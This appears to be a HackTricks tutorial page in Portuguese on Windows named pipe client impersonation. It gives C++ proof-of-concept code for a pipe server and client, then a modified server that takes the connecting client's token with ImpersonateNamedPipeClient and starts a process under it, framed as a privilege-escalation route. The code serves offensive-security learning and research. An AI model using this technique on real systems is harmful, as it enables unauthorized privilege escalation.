hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

189 lines
8.1 KiB
Markdown

# Impersonação de Cliente de Named Pipe
## Impersonação de Cliente de Named Pipe
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Esta informação foi copiada de** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
## Visão Geral
Um `pipe` é um bloco de memória compartilhada que processos podem usar para comunicação e troca de dados.
`Named Pipes` é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como `um servidor de named pipe` e um `cliente de named pipe`.
Um servidor de named pipe pode abrir um named pipe com algum nome predefinido e então um cliente de named pipe pode se conectar a esse pipe através do nome conhecido. Uma vez que a conexão é estabelecida, a troca de dados pode começar.
Este laboratório está preocupado com um código PoC simples que permite:
* criar um servidor de named pipe simples e de um único thread que aceitará uma conexão de cliente
* servidor de named pipe para escrever uma mensagem simples no named pipe para que o cliente de pipe possa lê-la
## Código
Abaixo está o PoC para o servidor e o cliente:
{% tabs %}
{% tab title="namedPipeServer.cpp" %}
```cpp
#include "pch.h"
#include <Windows.h>
#include <iostream>
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
return 0;
}
```
{% endtab %}
{% tab title="namedPipeClient.cpp" %}
```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;
std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}
return 0;
}
```
{% endtab %}
{% endtabs %}
## Execução
Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando conforme esperado:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
Vale notar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:
![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
Verificando como o processo mantém um handle para nosso pipe nomeado `mantvydas-first-pipe`:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
Da mesma forma, podemos ver o cliente com um handle aberto para o pipe nomeado:
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
Podemos até ver nosso pipe com powershell:
```csharp
((Get-ChildItem \\.\pipe\).name)[-1..-5]
```
```markdown
## Impersonação de Token
{% hint style="info" %}
Observe que, para realizar a impersonação do token do processo cliente, você precisa ter (o processo do servidor que cria o pipe) o privilégio de token **`SeImpersonate`**.
{% endhint %}
É possível para o servidor de pipe nomeado impersonar o contexto de segurança do cliente de pipe nomeado ao utilizar a chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token da thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.
Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impersonação - observe que as modificações estão visíveis na linha 25 e abaixo:
```
```cpp
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();
STARTUPINFO si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0;
}
```
Executando o servidor e conectando-se a ele com o cliente que está executando sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do servidor de pipe nomeado assumiu o token do cliente de pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja executando sob o contexto de segurança ws01\mantvydas. Parece uma boa maneira de escalar privilégios?
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>